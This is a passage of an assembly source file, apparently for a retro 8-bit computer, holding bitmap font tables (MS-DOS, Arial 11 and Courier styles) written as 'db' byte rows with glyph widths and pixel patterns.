4,#40,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#00,#00,#00,#00,#F0,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#60,#A0,#A0,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#80,#C0,#A0,#A0,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#60,#80,#80,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#20,#60,#A0,#A0,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#40,#E0,#80,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#20,#40,#60,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#40,#A0,#60,#20,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#80,#C0,#A0,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#00,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#00,#40,#40,#40,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#80,#A0,#C0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#40,#40,#40,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#A0,#E0,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#40,#A0,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#40,#A0,#A0,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#C0,#A0,#C0,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#60,#A0,#60,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#A0,#C0,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#60,#C0,#20,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#60,#40,#40,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#A0,#A0,#A0,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#A0,#A0,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#A0,#A0,#E0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#A0,#40,#40,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#A0,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#E0,#40,#80,#E0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#60,#40,#80,#40,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#40,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#40,#20,#40,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#60,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;*** Font - MSDOS fnt_msdos db #08,#20 db 8,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ; db 8,#18,#3C,#3C,#18,#18,#00,#18,#00,#00,#00,#00,#00,#00,#00,#00 ;! db 8,#6C,#6C,#28,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;" db 8,#6C,#6C,#FE,#6C,#FE,#6C,#6C,#00,#00,#00,#00,#00,#00,#00,#00 ;# db 8,#18,#3E,#60,#3C,#06,#7C,#18,#00,#00,#00,#00,#00,#00,#00,#00 ;$ db 8,#00,#C6,#CC,#18,#30,#66,#C6,#00,#00,#00,#00,#00,#00,#00,#00 ;% db 8,#38,#6C,#38,#76,#DC,#CC,#76,#00,#00,#00,#00,#00,#00,#00,#00 ;& db 8,#18,#18,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;' db 8,#0C,#18,#30,#30,#30,#18,#0C,#00,#00,#00,#00,#00,#00,#00,#00 ;( db 8,#30,#18,#0C,#0C,#0C,#18,#30,#00,#00,#00,#00,#00,#00,#00,#00 ;) db 8,#00,#66,#3C,#FF,#3C,#66,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;* db 8,#00,#18,#18,#7E,#18,#18,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;+ db 8,#00,#00,#00,#00,#00,#18,#18,#30,#00,#00,#00,#00,#00,#00,#00 ;, db 8,#00,#00,#00,#7E,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;- db 8,#00,#00,#00,#00,#00,#18,#18,#00,#00,#00,#00,#00,#00,#00,#00 ;. db 8,#06,#0C,#18,#30,#60,#C0,#80,#00,#00,#00,#00,#00,#00,#00,#00 ;/ db 8,#38,#6C,#C6,#D6,#C6,#6C,#38,#00,#00,#00,#00,#00,#00,#00,#00 ;0 db 8,#18,#38,#18,#18,#18,#18,#7E,#00,#00,#00,#00,#00,#00,#00,#00 ;1 db 8,#7C,#C6,#06,#1C,#30,#66,#FE,#00,#00,#00,#00,#00,#00,#00,#00 ;2 db 8,#7C,#C6,#06,#3C,#06,#C6,#7C,#00,#00,#00,#00,#00,#00,#00,#00 ;3 db 8,#1C,#3C,#6C,#CC,#FE,#0C,#1E,#00,#00,#00,#00,#00,#00,#00,#00 ;4 db 8,#FE,#C0,#C0,#FC,#06,#C6,#7C,#00,#00,#00,#00,#00,#00,#00,#00 ;5 db 8,#38,#60,#C0,#FC,#C6,#C6,#7C,#00,#00,#00,#00,#00,#00,#00,#00 ;6 db 8,#FE,#C6,#0C,#18,#30,#30,#30,#00,#00,#00,#00,#00,#00,#00,#00 ;7 db 8,#7C,#C6,#C6,#7C,#C6,#C6,#7C,#00,#00,#00,#00,#00,#00,#00,#00 ;8 db 8,#7C,#C6,#C6,#7E,#06,#C6,#7C,#00,#00,#00,#00,#00,#00,#00,#00 ;9 db 8,#00,#00,#18,#18,#00,#18,#18,#00,#00,#00,#00,#00,#00,#00,#00 ;: db 8,#00,#00,#18,#18,#00,#18,#18,#30,#00,#00,#00,#00,#00,#00,#00 ;; db 8,#0C,#18,#30,#60,#30,#18,#0C,#00,#00,#00,#00,#00,#00,#00,#00 ;< db 8,#00,#00,#7E,#00,#00,#7E,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;= db 8,#60,#30,#18,#0C,#18,#30,#60,#00,#00,#00,#00,#00,#00,#00,#00 ;> db 8,#7C,#C6,#0C,#18,#18,#00,#18,#00,#00,#00,#00,#00,#00,#00,#00 ;? db 8,#7C,#C6,#DE,#DE,#DE,#C0,#78,#00,#00,#00,#00,#00,#00,#00,#00 ;@ db 8,#38,#6C,#C6,#FE,#C6,#C6,#C6,#00,#00,#00,#00,#00,#00,#00,#00 ;A db 8,#FC,#66,#66,#7C,#66,#66,#FC,#00,#00,#00,#00,#00,#00,#00,#00 ;B db 8,#3C,#66,#C0,#C0,#C0,#66,#3C,#00,#00,#00,#00,#00,#00,#00,#00 ;C db 8,#F8,#6C,#66,#66,#66,#6C,#F8,#00,#00,#00,#00,#00,#00,#00,#00 ;D db 8,#FE,#62,#68,#78,#68,#62,#FE,#00,#00,#00,#00,#00,#00,#00,#00 ;E db 8,#FE,#62,#68,#78,#68,#60,#F0,#00,#00,#00,#00,#00,#00,#00,#00 ;F db 8,#3C,#66,#C0,#C0,#CE,#66,#3A,#00,#00,#00,#00,#00,#00,#00,#00 ;G db 8,#C6,#C6,#C6,#FE,#C6,#C6,#C6,#00,#00,#00,#00,#00,#00,#00,#00 ;H db 8,#3C,#18,#18,#18,#18,#18,#3C,#00,#00,#00,#00,#00,#00,#00,#00 ;I db 8,#1E,#0C,#0C,#0C,#CC,#CC,#78,#00,#00,#00,#00,#00,#00,#00,#00 ;J db 8,#E6,#66,#6C,#78,#6C,#66,#E6,#00,#00,#00,#00,#00,#00,#00,#00 ;K db 8,#F0,#60,#60,#60,#62,#66,#FE,#00,#00,#00,#00,#00,#00,#00,#00 ;L db 8,#C6,#EE,#FE,#FE,#D6,#C6,#C6,#00,#00,#00,#00,#00,#00,#00,#00 ;M db 8,#C6,#E6,#F6,#DE,#CE,#C6,#C6,#00,#00,#00,#00,#00,#00,#00,#00 ;N db 8,#7C,#C6,#C6,#C6,#C6,#C6,#7C,#00,#00,#00,#00,#00,#00,#00,#00 ;O db 8,#FC,#66,#66,#7C,#60,#60,#F0,#00,#00,#00,#00,#00,#00,#00,#00 ;P db 8,#7C,#C6,#C6,#C6,#C6,#CE,#7C,#0E,#00,#00,#00,#00,#00,#00,#00 ;Q db 8,#FC,#66,#66,#7C,#6C,#66,#E6,#00,#00,#00,#00,#00,#00,#00,#00 ;R db 8,#3C,#66,#30,#18,#0C,#66,#3C,#00,#00,#00,#00,#00,#00,#00,#00 ;S db 8,#7E,#7E,#5A,#18,#18,#18,#3C,#00,#00,#00,#00,#00,#00,#00,#00 ;T db 8,#66,#66,#66,#66,#66,#66,#3C,#00,#00,#00,#00,#00,#00,#00,#00 ;U db 8,#C6,#C6,#C6,#C6,#C6,#6C,#38,#00,#00,#00,#00,#00,#00,#00,#00 ;V db 8,#C6,#C6,#C6,#D6,#D6,#FE,#6C,#00,#00,#00,#00,#00,#00,#00,#00 ;W db 8,#C6,#C6,#6C,#38,#6C,#C6,#C6,#00,#00,#00,#00,#00,#00,#00,#00 ;X db 8,#66,#66,#66,#3C,#18,#18,#3C,#00,#00,#00,#00,#00,#00,#00,#00 ;Y db 8,#FE,#C6,#8C,#18,#32,#66,#FE,#00,#00,#00,#00,#00,#00,#00,#00 ;Z db 8,#3C,#30,#30,#30,#30,#30,#3C,#00,#00,#00,#00,#00,#00,#00,#00 ;[ db 8,#C0,#60,#30,#18,#0C,#06,#02,#00,#00,#00,#00,#00,#00,#00,#00 ;\ db 8,#3C,#0C,#0C,#0C,#0C,#0C,#3C,#00,#00,#00,#00,#00,#00,#00,#00 ;] db 8,#10,#38,#6C,#C6,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;^ db 8,#00,#00,#00,#00,#00,#00,#00,#FF,#00,#00,#00,#00,#00,#00,#00 ;_ db 8,#30,#18,#0C,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;` db 8,#00,#00,#78,#0C,#7C,#CC,#76,#00,#00,#00,#00,#00,#00,#00,#00 ;a db 8,#E0,#60,#7C,#66,#66,#66,#DC,#00,#00,#00,#00,#00,#00,#00,#00 ;b db 8,#00,#00,#7C,#C6,#C0,#C6,#7C,#00,#00,#00,#00,#00,#00,#00,#00 ;c db 8,#1C,#0C,#7C,#CC,#CC,#CC,#76,#00,#00,#00,#00,#00,#00,#00,#00 ;d db 8,#00,#00,#7C,#C6,#FE,#C0,#7C,#00,#00,#00,#00,#00,#00,#00,#00 ;e db 8,#3C,#66,#60,#F8,#60,#60,#F8,#00,#00,#00,#00,#00,#00,#00,#00 ;f db 8,#00,#00,#76,#CC,#CC,#7C,#0C,#F8,#00,#00,#00,#00,#00,#00,#00 ;g db 8,#E0,#60,#6C,#76,#66,#66,#E6,#00,#00,#00,#00,#00,#00,#00,#00 ;h db 8,#18,#00,#38,#18,#18,#18,#3C,#00,#00,#00,#00,#00,#00,#00,#00 ;i db 8,#06,#00,#06,#06,#06,#66,#66,#3C,#00,#00,#00,#00,#00,#00,#00 ;j db 8,#E0,#60,#66,#6C,#78,#6C,#E6,#00,#00,#00,#00,#00,#00,#00,#00 ;k db 8,#38,#18,#18,#18,#18,#18,#3C,#00,#00,#00,#00,#00,#00,#00,#00 ;l db 8,#00,#00,#EC,#FE,#D6,#D6,#D6,#00,#00,#00,#00,#00,#00,#00,#00 ;m db 8,#00,#00,#DC,#66,#66,#66,#66,#00,#00,#00,#00,#00,#00,#00,#00 ;n db 8,#00,#00,#7C,#C6,#C6,#C6,#7C,#00,#00,#00,#00,#00,#00,#00,#00 ;o db 8,#00,#00,#DC,#66,#66,#7C,#60,#F0,#00,#00,#00,#00,#00,#00,#00 ;p db 8,#00,#00,#76,#CC,#CC,#7C,#0C,#1E,#00,#00,#00,#00,#00,#00,#00 ;q db 8,#00,#00,#DC,#76,#60,#60,#F0,#00,#00,#00,#00,#00,#00,#00,#00 ;r db 8,#00,#00,#7E,#C0,#7C,#06,#FC,#00,#00,#00,#00,#00,#00,#00,#00 ;s db 8,#30,#30,#FC,#30,#30,#36,#1C,#00,#00,#00,#00,#00,#00,#00,#00 ;t db 8,#00,#00,#CC,#CC,#CC,#CC,#76,#00,#00,#00,#00,#00,#00,#00,#00 ;u db 8,#00,#00,#C6,#C6,#C6,#6C,#38,#00,#00,#00,#00,#00,#00,#00,#00 ;v db 8,#00,#00,#C6,#D6,#D6,#FE,#6C,#00,#00,#00,#00,#00,#00,#00,#00 ;w db 8,#00,#00,#C6,#6C,#38,#6C,#C6,#00,#00,#00,#00,#00,#00,#00,#00 ;x db 8,#00,#00,#C6,#C6,#C6,#7E,#06,#FC,#00,#00,#00,#00,#00,#00,#00 ;y db 8,#00,#00,#7E,#4C,#18,#32,#7E,#00,#00,#00,#00,#00,#00,#00,#00 ;z db 8,#0E,#18,#18,#70,#18,#18,#0E,#00,#00,#00,#00,#00,#00,#00,#00 ;{ db 8,#18,#18,#18,#18,#18,#18,#18,#00,#00,#00,#00,#00,#00,#00,#00 ;| db 8,#70,#18,#18,#0E,#18,#18,#70,#00,#00,#00,#00,#00,#00,#00,#00 ;} db 8,#76,#DC,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;~ db 8,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ; ;Arial11 fnt_arial11 db #09,#20 db #03,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#40,#40,#40,#40,#40,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#a0,#a0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#50,#50,#f0,#50,#f0,#a0,#a0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#a8,#a0,#70,#28,#a8,#70,#20,#00,#00,#00,#00,#00,#00,#00 db #08,#24,#58,#28,#08,#14,#1a,#14,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#38,#48,#48,#70,#94,#88,#74,#00,#00,#00,#00,#00,#00,#00,#00 db #02,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#20,#40,#80,#80,#80,#80,#80,#40,#20,#00,#00,#00,#00,#00,#00 db #03,#80,#40,#20,#20,#20,#20,#20,#40,#80,#00,#00,#00,#00,#00,#00 db #04,#e0,#40,#a0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#20,#20,#f8,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#00,#00,#40,#40,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#c0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#00,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#20,#20,#40,#40,#40,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#90,#90,#90,#90,#90,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#60,#20,#20,#20,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#90,#10,#20,#20,#40,#f0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#90,#10,#20,#10,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#10,#30,#50,#90,#f8,#10,#10,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#40,#e0,#90,#10,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#90,#e0,#90,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f0,#10,#20,#20,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#90,#90,#60,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#90,#90,#90,#70,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#40,#00,#00,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#40,#00,#00,#00,#40,#40,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#10,#20,#40,#20,#10,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#f0,#00,#f0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#40,#20,#10,#20,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#88,#08,#30,#20,#00,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#01,#02,#03,#04,#05,#06,#07,#08,#01,#00,#00,#00,#00,#00,#00 db #07,#10,#28,#28,#44,#7c,#44,#82,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#70,#48,#48,#78,#48,#48,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#38,#44,#40,#40,#40,#44,#38,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#78,#44,#44,#44,#44,#44,#78,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#7c,#40,#40,#7c,#40,#40,#7c,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#78,#40,#40,#70,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#38,#44,#40,#4c,#44,#44,#38,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#44,#44,#44,#7c,#44,#44,#44,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#40,#40,#40,#40,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#10,#10,#10,#10,#10,#90,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#44,#48,#50,#60,#50,#48,#44,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#40,#40,#40,#40,#40,#40,#78,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#82,#c6,#c6,#aa,#aa,#aa,#92,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#44,#64,#64,#54,#4c,#4c,#44,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#38,#44,#44,#44,#44,#44,#38,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#78,#48,#48,#78,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#38,#44,#44,#44,#44,#48,#3c,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#78,#44,#44,#78,#48,#44,#44,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#30,#48,#40,#30,#08,#48,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f8,#20,#20,#20,#20,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#44,#44,#44,#44,#44,#44,#38,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#82,#82,#44,#44,#28,#28,#10,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#82,#82,#92,#92,#aa,#c6,#82,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#88,#50,#50,#20,#50,#50,#88,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#44,#28,#28,#10,#10,#10,#10,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#fc,#08,#10,#20,#40,#80,#fc,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#60,#40,#40,#40,#40,#40,#40,#40,#60,#00,#00,#00,#00,#00,#00 db #03,#80,#80,#40,#40,#40,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#c0,#40,#40,#40,#40,#40,#40,#40,#c0,#00,#00,#00,#00,#00,#00 db #03,#40,#a0,#a0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#00,#00,#00,#00,#00,#f8,#00,#00,#00,#00,#00,#00 db #03,#80,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#f0,#10,#70,#90,#f0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#80,#80,#e0,#90,#90,#90,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#60,#90,#80,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#10,#10,#70,#90,#90,#90,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#60,#90,#f0,#80,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#20,#40,#e0,#40,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#70,#90,#90,#90,#70,#90,#60,#00,#00,#00,#00,#00,#00 db #05,#80,#80,#e0,#90,#90,#90,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #02,#80,#00,#80,#80,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#40,#00,#40,#40,#40,#40,#40,#40,#80,#00,#00,#00,#00,#00,#00 db #05,#80,#80,#90,#a0,#e0,#a0,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #02,#80,#80,#80,#80,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#fc,#92,#92,#92,#92,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#e0,#90,#90,#90,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#60,#90,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#e0,#90,#90,#90,#e0,#80,#80,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#70,#90,#90,#90,#70,#10,#10,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#e0,#80,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#70,#80,#60,#10,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#40,#e0,#40,#40,#40,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#90,#90,#90,#90,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#88,#50,#50,#50,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#a8,#a8,#a8,#a8,#50,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#90,#60,#60,#60,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#88,#50,#50,#50,#20,#20,#40,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#e0,#20,#40,#80,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#60,#40,#40,#40,#80,#40,#40,#40,#60,#00,#00,#00,#00,#00,#00 db #03,#40,#40,#40,#40,#40,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00 db #03,#c0,#40,#40,#40,#20,#40,#40,#40,#c0,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#d0,#b0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#7c,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#78,#80,#f8,#80,#f8,#80,#78,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#7c,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00,#00,#00,#00 ;courier fnt_courier db #08,#20 db #05,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#20,#20,#20,#00,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#50,#50,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#28,#50,#f8,#50,#f8,#50,#a0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#30,#60,#30,#10,#60,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#20,#18,#60,#10,#10,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#38,#20,#60,#50,#78,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#10,#20,#20,#20,#20,#20,#10,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#40,#20,#20,#20,#20,#20,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#70,#20,#50,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#20,#20,#f8,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#00,#10,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#00,#00,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#10,#20,#20,#20,#40,#40,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#50,#50,#50,#50,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#20,#20,#20,#20,#f8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#50,#20,#20,#40,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#50,#10,#20,#10,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#10,#30,#50,#78,#10,#38,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#40,#60,#10,#50,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#40,#60,#50,#50,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#50,#10,#20,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#50,#20,#50,#50,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#50,#50,#30,#10,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#20,#00,#00,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#10,#00,#10,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#10,#20,#c0,#20,#10,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#70,#00,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#40,#20,#18,#20,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#50,#10,#20,#00,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#48,#48,#58,#48,#40,#38,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#20,#50,#70,#88,#d8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f0,#48,#70,#48,#48,#f0,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#50,#40,#40,#40,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f0,#48,#48,#48,#48,#f0,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f8,#48,#60,#40,#48,#f8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f8,#48,#60,#40,#40,#e0,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#40,#40,#58,#50,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#e8,#48,#78,#48,#48,#e8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#20,#20,#20,#20,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#38,#10,#10,#50,#50,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#d8,#50,#60,#70,#50,#d8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#e0,#40,#40,#40,#48,#f8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#d8,#d8,#d8,#a8,#88,#d8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#d8,#68,#68,#58,#58,#e8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#48,#48,#48,#48,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f0,#48,#48,#70,#40,#e0,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#48,#48,#48,#48,#30,#18,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f0,#48,#48,#70,#48,#e8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#50,#20,#10,#50,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f8,#a8,#20,#20,#20,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#d8,#48,#48,#48,#48,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#d8,#88,#48,#50,#50,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#d8,#88,#a8,#a8,#a8,#50,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#d8,#50,#20,#20,#50,#d8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#d8,#88,#50,#20,#20,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#78,#48,#10,#20,#48,#78,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#20,#20,#20,#20,#20,#30,#00,#00,#00,#00,#00,#00,#00,#00 db 